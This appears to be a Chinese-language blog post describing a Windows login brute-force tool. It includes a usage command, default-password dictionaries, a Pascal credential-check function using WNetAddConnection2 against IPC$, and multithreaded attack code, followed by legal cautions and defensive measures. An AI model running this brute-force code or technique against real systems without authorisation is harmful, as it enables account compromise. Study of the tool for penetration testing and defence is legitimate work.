Pascal Win-Brute-Logon：Windows登录暴力破解工具解析

icy 昨天 32 抢沙发

默认

摘要： Pascal Win-Brute-Logon：Windows登录暴力破解工具解析项目概述 Pascal Win-Brute-Logon 是一个用 Pascal 语言编写的 Win...

Pascal Win-Brute-Logon：Windows登录暴力破解工具解析

项目概述

Pascal Win-Brute-Logon 是一个用 Pascal 语言编写的 Windows 登录暴力破解工具，由 PhrozenIO 团队开发并维护。该项目旨在通过自动化尝试用户名和密码组合，测试 Windows 系统的登录安全性。虽然这类工具常被用于安全测试和渗透评估，但请务必在合法授权范围内使用，仅用于测试自己拥有权限的系统。

技术特点

1. 原生 Windows API 集成

该项目直接调用 Windows 原生 API 函数，特别是 WNetAddConnection2 函数，通过尝试建立网络连接来验证凭据的有效性。这种方法比传统的图形界面自动化更加高效和隐蔽。

2. 多线程支持

工具实现了多线程机制，可以同时测试多个凭据组合，显著提高了暴力破解的速度和效率。

3. 灵活的配置选项

支持自定义用户名和密码字典
可配置目标 IP 地址或主机名
支持指定尝试延迟时间
可设置最大线程数

使用示例

基本使用

text

// 示例命令行用法
win-brute-logon.exe -t 192.168.1.100 -u users.txt -p passwords.txt

参数说明

text

-t, --target    目标主机IP地址
-u, --users     用户名字典文件
-p, --passwords 密码字典文件
-d, --delay     尝试之间的延迟（毫秒）
-th, --threads  最大线程数
-v, --verbose   详细输出模式

字典文件格式示例

users.txt:

text

administrator
admin
user
test
guest

passwords.txt:

text

password
123456
admin123
password123
letmein

实现原理

核心验证函数

text

function TryCredentials(const Host, User, Password: string): Boolean;
var
  NetResource: TNetResource;
begin
  FillChar(NetResource, SizeOf(NetResource), 0);
  NetResource.dwType := RESOURCETYPE_DISK;
  NetResource.lpRemoteName := PChar('\\' + Host + '\IPC$');
  
  Result := WNetAddConnection2(
    NetResource,
    PChar(Password),
    PChar(User),
    0
  ) = NO_ERROR;
  
  if Result then
    WNetCancelConnection2(PChar('\\' + Host + '\IPC$'), 0, True);
end;

多线程实现

text

// 创建多个工作线程
for I := 0 to ThreadCount - 1 do
begin
  Threads[I] := TBruteThread.Create(True);
  Threads[I].TargetHost := TargetHost;
  Threads[I].UserList := UserList;
  Threads[I].PasswordList := PasswordList;
  Threads[I].Start;
end;

安全注意事项

合法使用

仅用于授权测试：必须在拥有明确书面授权的情况下使用
测试环境限制：仅在实验室或自己完全控制的系统中使用
遵守法律法规：不同国家和地区对安全测试有不同法律规定

防御措施

系统管理员可以采取以下措施防范此类攻击：

账户锁定策略：设置失败尝试次数限制
强密码策略：要求复杂密码并定期更换
监控登录尝试：启用安全审计日志
禁用不必要的账户：特别是默认的管理员账户

项目结构

text

win-brute-logon/
├── src/                    # 源代码目录
│   ├── main.pas           # 主程序文件
│   ├── brutethread.pas    # 暴力破解线程类
│   └── utils.pas          # 工具函数
├── dictionaries/          # 示例字典文件
├── README.md             # 项目说明
└── LICENSE               # 许可证文件